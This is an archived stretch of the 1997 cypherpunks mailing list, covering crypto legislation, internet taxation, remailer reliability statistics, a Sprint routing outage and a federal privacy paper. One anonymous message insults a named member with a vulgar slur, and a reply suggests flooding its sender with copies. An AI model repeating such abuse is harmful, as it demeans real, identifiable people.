~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 28 Apr 1997 00:18:06 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Texas declares war...
In-Reply-To: <v0302095faf845187deee@[139.167.130.246]>
Message-ID: <3.0.1.32.19970428001502.005ea3d8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


A group of the Texan forces just invaded the home of one of their
neighbors, taking the couple there as "Prisoners of War".
The man was injured by glass, and has been treated.
They apparently haven't gotten along for quite a while,
and a number of the neighbors were starting to get
worried about the Republicans.  The house they attacked is
a heavy-duty adobe home.  The radio said the Republicans have
been communicating with the outside world, and that the normal
practice in this case was to cut the phone wires; didn't say if
the Republicans had the sense to bring a cell-phone or CB with them
when they attacked, but you'd hope an Internet-savvy group would :-)

To add some Cypherpunks content, this is one application for which
the pre-paid phone-card cellphones are a big win; if you've got
an account-based system, it's much easier for the Government to
ask the phone company what the suspects' phone number is
and order them to shut it down.  But card-systems would have to be 
traced from phone calls (very hard) or picked up with scanners.

Some other parts of the Republic have denounced this action.  
Invading a government building would have been one thing, 
but attacking civilian non-combatants is distinctly against 
the rules of "civilized" warfare...



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Sun, 27 Apr 1997 22:38:18 -0700 (PDT)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <1JZP6D4w165w@bwalk.dm.com>
Message-ID: <199704280540.AAA00449@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Cigarette advertizing is what created TV in the U.S.

	Is this an argument _for_ banning cigarette ads, or against?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Graves <llurch@networking.stanford.edu>
Date: Mon, 28 Apr 1997 00:52:42 -0700 (PDT)
To: cypherpunks@toad.com
Subject: PATHS: Internet Taxation (Wednesday May 7, 4:15 pm) (fwd)
Message-ID: <Pine.GUL.3.95.970428005110.13976A-100000@Networking.Stanford.EDU>
MIME-Version: 1.0
Content-Type: text/plain


FYI for SF Bay Aryans.

---------- Forwarded message ----------
                POLICY AND TECHNOLOGY HORIZONS SEMINAR

                          INTERNET TAXATION:
                     ECONOMICS, TECHNOLOGY AND LAW

                          CHARLES McLURE, Jr.
                          HOOVER INSTITUTION

                   Wednesday, May 7, 1997, 4:15 pm
              Manning Faculty Lounge, Stanford Law School
     (RSVP Susan French, SLTPC@forsythe.stanford.edu, or 723-0981)


Should electronic commerce be taxed, and how?

What should be taxed, income, sales, or both?

Who should tax, the federal government, states, or both?

Should a special excise tax be imposed on selected aspects of 
electronic commerce?

Is Internet taxation feasible, and how?

Answering these and similar questions requires agreement on the 
appropriate economic objectives of Internet taxation combined with an 
understanding of the dynamic interplay between technological and legal 
forces.

A draft paper will be available from http://www-techlaw.stanford.edu 
after May 2.

Charles E. McLure, Jr., a senior fellow at the Hoover Institution, 
specializes in the economics of taxation and tax reform.  He has 
served as Deputy Assistant Secretary of the Treasury for Tax Analysis, 
a senior economist on the staff of the President's Council of Economic 
Advisers, vice president of the National Bureau of Economic Research, 
and a tax policy consultant to various countries, the World Bank, the 
International Monetary Fund, and the United Nations.

Policy and Technology Horizons Seminars (PATHS) examine technological 
developments that may require a fundamental re-examination of policy, 
law, and regulation. Sponsored by the Stanford Law and Technology 
Policy Center, PATHS help identify critical policy issues in time for 
intelligent policymaking.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: MailMan@mail1.access.digex.net
Date: Mon, 28 Apr 1997 03:38:41 -0700 (PDT)
To: Magi-Mail@backnet.com</A>
Subject: Entrepreneur's Candy Store
Message-ID: <Magi-Mail@backnet.com>
MIME-Version: 1.0
Content-Type: text/plain


You're about to discover that not *everything* that lands in your e-mail
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the subject to be excluded from future contact.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Mon, 28 Apr 1997 02:41:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Textual Analysis of Spam
Message-ID: <Pine.SOL.3.96.970428023215.21960A-100000@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm currently writing a spam-filter and bouncing messages based on header
information and keyword counts. This gets about 80% of the spam, but also
gives about 1% false positives. Has anyone done any more sophisticated
analysis of spam text than this? I can't find anything on the Web.

	Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 28 Apr 1997 01:30:01 -0700 (PDT)
To: Rich Graves <llurch@networking.stanford.edu>
Subject: Re: PATHS: Internet Taxation (Wednesday May 7, 4:15 pm) (fwd)
In-Reply-To: <Pine.GUL.3.95.970428005110.13976A-100000@Networking.Stanford.EDU>
Message-ID: <199704280828.DAA08777@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.GUL.3.95.970428005110.13976A-100000@Networking.Stanford.EDU>, on
04/28/97 at 01:52 AM,
   Rich Graves <llurch@networking.stanford.edu> said:


>Should electronic commerce be taxed, and how?

No, NEVER!!!

>What should be taxed, income, sales, or both?

None of the Above

>Who should tax, the federal government, states, or both?

Neither

>Should a special excise tax be imposed on selected aspects of  electronic
>commerce?

No ofcource not.

>Is Internet taxation feasible, and how?

No it is not.

>Answering these and similar questions requires agreement on the 
>appropriate economic objectives of Internet taxation combined with an 
>understanding of the dynamic interplay between technological and legal 
>forces.

<sigh> It is obvious that whomever wrote this that they have already made
up their mind that the Internet should be taxed and are only interested in
disscussing on how to divide up the loot.

The above questions are a good example of push polling though.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Have you crashed your Windows today?

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2Rugo9Co1n+aLhhAQFpAAP/VdOIo/vRWtg+MHfUEmzjFg4ri29GWAI4
x7NJ8JpD7shsIDCdLsNw/0sM1iadSekvOo8CFRwAp+1PbN2C9BtB6U1WCcT8C8AA
O36DrZQJlCOD2oMvhmyU1LztT/JHR0Tw0/+aJp8AL6MLLfkq1fJ3I/jja6HCv+JS
YJqAZOsymJM=
=ZaQZ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 28 Apr 1997 01:43:22 -0700 (PDT)
To: "Lester Gordon (temp)" <lrdon@cyberstation.net>
Subject: Re: Don Wood -- IPG
In-Reply-To: <Pine.BSI.3.95.970427125721.12177A-100000@citrine.cyberstation.net>
Message-ID: <199704280838.DAA08848@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.BSI.3.95.970427125721.12177A-100000@citrine.cyberstation.net>, on
04/27/97 at 12:01 PM,
   "Lester Gordon (temp)" <lrdon@cyberstation.net> said:


>Have you seen what the notorious Don Wood of IPG infamy is up to now? He
>has a new web page up at `http://www.seymourtex.com/newisrael/ni.htm'. You
>won't believe it..

After his rants about reusable OTP using PRNG's I doubt anyone is surprised
that he is not playing with a full deck. I guess he should have spent more
time *IN* Israel and less time in Texas public libraries before writting
such drivel.

<sigh> Never overestimate the stupidity of others.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: The choice of the next generation.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2Rw4Y9Co1n+aLhhAQHEcwP/Rz3nKwiyWV4995u21B1sFeTmGglyM9wa
dCtmbtNx7auZWvKALVfonflZ1JW8U5GwoQgdPvsjUEaQ0ACxr1kvtOE3em8+zUd7
lyMqPswWj5QcLmCucISgWxU51ch0uAz+H7mdzpBBI5UYs6CoRm7gM85gZqqsIffi
3u6O5qyEttI=
=IBaP
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 28 Apr 1997 01:50:25 -0700 (PDT)
To: tz@execpc.com
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <97Apr26.185020edt.32257-1@brickwall.ceddec.com>
Message-ID: <199704280848.DAA08939@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <97Apr26.185020edt.32257-1@brickwall.ceddec.com>, on 04/26/97 at 04:50
PM,
   tz@execpc.com said:


>On Fri, 25 Apr 1997, Declan McCullagh wrote:

>> My lord, I'm agreeing with Jim Bell!
>> 
>> Right now, no controls exit on domestic crypto, though strict export
>> controls are in place.
>> 
>> The question is: Do we want to give up any domestic freedom in exchange
>> for a relaxation of export controls? (Congress is, after all, built on
>> compromises between warring factions.)
>> 
>> My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
>> progeny, while we keep our freedoms domestically. 
>> 
>> -Declan

>I emailed Rep Goodlatte, but didn't get a response about this issue.  My
>main problem is that it becomes a felony to use encryption for anything
>that can be prosecuted if I take the legalese literally.  So if I have a
>GSM cell phone in a car that is illegally parked, it seems that I would
>fall under the definition.

>I would mind it less if, 1. There had to be a conviction for the main
>crime.  2. The main crime must be a serious felony (i.e. something far
>worse than a single overdrawn check).  3. The penaly for using encryption
>in furtherance should be less than that for the main crime.  4. encryption
>had to play an intrinsic role in the main crime.  5. It must go beyond
>common, everyday uses of encryption.

What I find troubling with the whole thing is the ideal that I *NEED* the
US Congress to pass a law giving me permision to exercise my 1st Amendment
Rights.

This is just another "bait and switch" scam by the government.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: Friends don't let friends use Windows.

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Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2RzQY9Co1n+aLhhAQFatAP/RLO83JvFuU4gIddlSdvSgGxLd1fM2DlV
GMWTJ8tuzCclvGLp+mnkfzviQjhoV17DZKz9JeDMUpnDYC0X5O8ixLEnYLOkwWiB
yF0avwsN+s9kQESFHNd8p/fybHvud007Oyg48g/WHQulLcRM01phhw2wcYx8ZuyO
VYFE5rPrHPY=
=ghIK
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 28 Apr 1997 05:47:56 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Accounts payable
Message-ID: <199704281247.FAA06767@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Here, Timothy C[unt] Mayonnaise descends into total inanity. 
He should have a cold shower and/or a Turkish coffee.

        ///////
        \-oo-/  Timothy C[unt] Mayonnaise
         \--/
          \/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 28 Apr 1997 06:50:36 -0700 (PDT)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199704281350.GAA19873@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{"extropia"} = "<remail@miron.vip.best.com> cpunk pgp special";
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"exon"} = "<remailer@remailer.nl.com> cpunk pgp hash latent cut ek";
$remailer{"haystack"} = "<haystack@holy.cow.net> cpunk mix pgp hash latent cut ek";
$remailer{"lucifer"} = "<lucifer@dhp.com> cpunk mix pgp hash latent cut ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"balls"} = "<remailer@huge.cajones.com> cpunk pgp hash latent cut ek";
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{"middle"} = "<middleman@jpunix.com> cpunk mix pgp hash latent cut ek reord";
$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"dustbin"} = "<dustman@athensnet.com> cpunk pgp hash latent cut ek mix reord middle";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"wazoo"} = "<remailer@wazoo.com> cpunk mix pgp hash latent cut ek";
$remailer{"shaman"} = "<remailer@lycaeum.org> cpunk pgp hash latent cut ek";
$remailer{"hidden"} = "<remailer@hidden.net> cpunk pgp hash latent cut";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix)
(weasel squirrel)

The alpha and nymrod nymservers are down due to abuse. However, you
can use the nym or weasel (newnym style) nymservers.

The cyber nymserver is quite reliable for outgoing mail (which is
what's measured here), but is exhibiting serious reliability problems
for incoming mail.

The squirrel and winsock remailers accept PGP encrypted mail only.

403 Permission denied errors have been caused by a flaky disk on the
Berkeley WWW server. This seems to be fixed now.

The penet remailer is closed.

Last update: Mon 28 Apr 97 6:45:41 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
hidden   remailer@hidden.net              +####*##+#*#     2:43 100.00%
nym      config@nym.alias.net             #**#****+*#*     6:22 100.00%
winsock  winsock@rigel.cyberpass.net      -.---------+  3:46:09  99.97%
mix      mixmaster@remail.obscura.com     -+.-+++++.-+  4:43:57  99.95%
cyber    alias@alias.cyberpass.net         ++++++++++*    34:08  99.93%
balls    remailer@huge.cajones.com        #### .#*####     4:06  99.89%
weasel   config@weasel.owl.de             --+-+--+-++   1:59:30  99.81%
squirrel mix@squirrel.owl.de              --+++--+-++   1:58:54  99.78%
reno     middleman@cyberpass.net          **-*+ +-+.--  1:22:46  99.72%
replay   remailer@replay.com               * *+ * ****     6:38  99.57%
lucifer  lucifer@dhp.com                  ++++++ +++++    35:57  99.56%
jam      remailer@cypherpunks.ca             ** * ****    11:25  89.98%
extropia remail@miron.vip.best.com        .-           20:55:08  19.68%
exon     remailer@remailer.nl.com            #          1:06:10  18.60%
dustbin  dustman@athensnet.com            -             2:47:22   7.22%
shaman   remailer@lycaeum.org                             21:34   1.15%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 28 Apr 1997 06:08:28 -0700 (PDT)
To: Ross Wright <rwright@adnetsol.com>
Subject: Re: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <199704220056.RAA13633@adnetsol.adnetsol.com>
Message-ID: <Pine.BSF.3.91.970428075043.2715A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 21 Apr 1997, Ross Wright wrote:

> On or About 21 Apr 97 at 15:42, Huge Cajones Remailer wrote:
> 
> > Rabid Wombat wrote:
> > > On Sun, 20 Apr 1997, lucifer Anonymous Remailer wrote:
> > > > Huge Cajones Remailer wrote:
> > > > > Dr D. Wrote:
> > > > > > Toto wrote:
> > > > > > > T.C. May Wrote:
> > > > > > > > Igor wrote:
> > > > > > > > > Blah, Blah, Blah wrote:
> 
> As I said this was on just about every mailing list that I read.  It 
> showed up first on a music related list.  
> 
> My question:  Why is this the only list that the thread is still 
> alive on?  Jim, can we get an AP pool up to KILL it?
> 

Careful; you're treading upon Tim's right to speak freely concerning the 
preservation of the intellectual property rights of light-bulb jokesters 
everywhere.

I must also remind you that you cannot kill a thread of this nature 
without calling someone a Nazi. Rules are rules.

-marsupialmonger








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 28 Apr 1997 09:39:22 -0700 (PDT)
To: Gary Howland <gary@systemics.com>
Subject: Re: Don Wood -- IPG
In-Reply-To: <9704282112.ZM1406@prometheus.projectx.com.au>
Message-ID: <3.0.1.32.19970428080738.0063ea78@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:11 PM 4/28/97 +0200, Gary Howland wrote:
>> This is the output of said PRNG.
>No, I think it is a true RNG!  If we can figure out a way to hook 
>his brain up to our key generator ...

I'd prefer the Lava Lamp, thanks :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 28 Apr 1997 05:12:07 -0700 (PDT)
To: cypherpunks@toad.com
Subject: New USG Privacy Initiative
Message-ID: <1.5.4.32.19970428121019.006ea670@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The Administration has issued today for public comment a 
major new paper on privacy:

"Options for Promoting Privacy on the National Information 
Infrastructure"

Opening paragraphs:

This Options Paper explores the growing public concern 
about personal information privacy. The paper describes 
the status of electronic data protection and fair 
information practices in the United States today, 
beginning with a discussion of the Principles for 
providing and using personal information issued by the 
Information Infrastructure Task Force in 1995. It then 
provides an overview of new information technologies, 
which shows that personal information is currently 
collected, shared, aggregated, and disseminated at a 
rate and to a degree unthinkable just a few years ago. 
Government is no longer the sole possessor of extensive 
amounts of personal information about U.S. citizens; in 
recent years the acquisition of personal information by 
the private sector has increased dramatically.

We next consider in more detail the laws and policies 
affecting information privacy in four specific areas: 
government records, communications, medical records, and 
the consumer market. This examination reveals that 
information privacy policy in the United States consists 
of various laws, regulations and practices, woven together 
to produce privacy protection that varies from sector to 
sector. Sometimes the results make sense, and sometimes 
they do not. The degree of protection accorded to personal 
information may depend on the data delivery mechanism 
rather than on the type of information at issue. Moreover, 
information privacy protection efforts in the United States 
are generally reactive rather than proactive: both the 
public and the private sector adopt policies in response 
to celebrated incidents of nonconsensual disclosure 
involving readily discernable harm. Sometimes this 
approach leaves holes in the fabric of privacy protection.  

We then turn to the core question: in the context of the 
GII, what is the best mechanism to implement fair 
information practices that balance the needs of government, 
commerce, and individuals, keeping in mind both our interest 
in the free flow of information and in the protection of 
information privacy? At one end of the spectrum there is 
support for an entirely market-based response. At the other 
end of the spectrum, we are encouraged to regulate fair 
information practices across all sectors of the economy. 
In between these poles lie a myriad of options. 
 
In response to public concern, both government and private 
industry seem to be taking a harder look at privacy issues. 
As government and consumers become more aware of the GII's 
data collection, analysis and distribution capabilities, 
demand could foster a robust, competitive market for 
privacy protection. This raises the intriguing possibility 
that privacy could emerge as a market commodity in the 
Information Age. We recognize ongoing efforts to enhance 
industry self regulation to carry out the IITF Privacy 
Principles. We also discuss ways this self regulation might 
be enforced, and discuss a number of ways that government 
could facilitate development of a privacy market. 
 
We then consider a number of options that involve creation 
of a federal privacy entity. We discuss some of the many 
forms that such an entity could take and consider the 
advantages and disadvantages of the various choices. We also 
consider the functions that such an entity might perform, 
as well as various options for locating a privacy entity 
within the federal government.  

This paper presents a host of options for government and 
private sector action. Our ultimate goal is to identify 
the means to maintain an optimal balance between personal 
privacy and freedom of information in the digital 
environment. The next step is to receive and respond to 
public comment on the report in order to develop consensus 
regarding the appropriate allocation of public and private 
sector responsibility for implementation of fair 
information practices. 

---------

   http://www.iitf.nist.gov/ipc/privacy.htm  (216K)

We've mirrored it at:

   http://jya.com/privacy.htm
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Mon, 28 Apr 1997 08:44:55 -0700 (PDT)
To: wombat@mcfeely.bsfs.org (Rabid Wombat)
Subject: Re: Staale & Elm
In-Reply-To: <Pine.BSF.3.91.970428094829.2715J-100000@mcfeely.bsfs.org>
Message-ID: <199704281539.IAA20003@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Rabid Wombat writes:
> 
> > > I have been noticing a problem contacting sites all over Northern and Central
> > > Europe.
> > > 
> 
> Sprint's network was somewhat overloaded due to the bogus routes
> redirecting traffic onto their network. I doubt the problem spread as far
> as Europe, at least on a widespread basis. We have about 200 sites
> worldwide, only a few actually connected to Sprint. We only saw
> intermittent failures reaching some sites for about an hour. 

Hmm.  I saw problems friday and saturday.  Saturday I was checking URLs in
a book on hacking and security that I'm editing, and a number of
ordinarily reachable sites were down.  Traceroutes to them showed
wierd routing problems, mostly routing 'loops'.


> > I wonder how long it'll be possible for unauthenticated/unapproved people to
> > mess around with routers.
> 
> Sprint probably should have been filtering routes / AS_PATH (insert debate
> here) from its downstreams. This is a management challenge, but Bad
> Things(tm) can happen if you don't. 
> 
> > can't bring down the whole net, they'll just pass a law requiring
> > that anyone who wants the 'enable' password to a cisco have first
> > passed a government-approved "Internet Administrators Class" and
> > gotten a license.
> 
> Why are you picking on Cisco? The equipment in question was a pair of Bay
> Networks BLN routers. The jury is still out as to whether this was a Bay
> bug or a config screw-up. 

I'm not picking on cisco, you missed my point.


In all other 'infrastructures' (i.e. phone company, roads)
only officially-sanctioned people are allowed access to work on things.
With the phone company, it's phone company employees & contractors, with
the roads its government employees and contractors.  When private
extensions are added, they're restricted and compartlemtalized so
that they can't affect the entire infrastructure... a private
corporate phone switch's misprogramming doesn't bring down Pac Bell.

OTOH, with the internet, this is not true.  IP routing is complex enough
that a router configurating error (or perhaps a series of them, maybe
Sprint was accepting BGP sessions from someone they shouldn't have)
_can_ damage major parts of the net.

Engineers (like most people on this list) first thought when faced with
a situation like this is to design more fail-safes into the system to
prevent a clueless admin or a router with a software error from
causing so much damage.  But politicians, when faced with the same
situation, their first reaction is "We gotta have a Law".

My prediction is that if things like this keep happening, the Internet will
be declared a "defense interest computer system" or something similar, and
only "approved personnel" will be allowed to mess with net-connected routers.
Hence mentioning the 'enable' (root) password on ciscos- I figured
more people here are familiar with them since they're the most popular
router and the OS's look and feel hasn't changed substantialy for
the last 5 years or so.



-- 
   Eric Murray  ericm@lne.com         Privacy through technology!
  Network security and encryption consulting.    PGP keyid:E03F65E5 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 28 Apr 1997 06:00:16 -0700 (PDT)
To: cypherpunks@toad.com
Subject: NII Privacy Paper Notice
Message-ID: <1.5.4.32.19970428125828.008a572c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


See today's Federal Register notice for the NII Privacy Paper:

   http://jya.com/omb042897.txt

It gives the cut-off date for comments, where to send them
and background of the paper.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 28 Apr 1997 07:36:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Cato forum on liquor advertising and electronic media
In-Reply-To: <199704280540.AAA00449@smoke.suba.com>
Message-ID: <LRgV6D6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> > Cigarette advertizing is what created TV in the U.S.
> 
> 	Is this an argument _for_ banning cigarette ads, or against?
> 

Neither.  It's a statement of fact - in the 40's and 50's and early 60's
cigarette ads were the majoroty of TV ads (and most of the rest were  liquor
ads).  The capital needed to build the infrastructure to produce the TV shows
came from the cigarette ads.  If there were no cigarette ads in the '50's, then
US TV would probably remain as capital-starved as, say, BBC. I'm not sure if
that would be a GOOD THING or a BAD THING.

I also don't think the gubmint has any business regulating any form of
advertising.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Mon, 28 Apr 1997 08:49:05 -0700 (PDT)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Accounts payable
In-Reply-To: <199704281247.FAA06767@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970428094806.41738B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 28 Apr 1997, Huge Cajones Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Here, Timothy C[unt] Mayonnaise descends into total inanity. 
> He should have a cold shower and/or a Turkish coffee.
> 
>         ///////
>         \-oo-/  Timothy C[unt] Mayonnaise
>          \--/
>           \/
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Mon, 28 Apr 1997 08:20:38 -0700 (PDT)
To: Eric Murray <ericm@lne.com>
Subject: Re: Staale & Elm
In-Reply-To: <199704280005.RAA18503@slack.lne.com>
Message-ID: <Pine.BSF.3.91.970428094829.2715J-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain


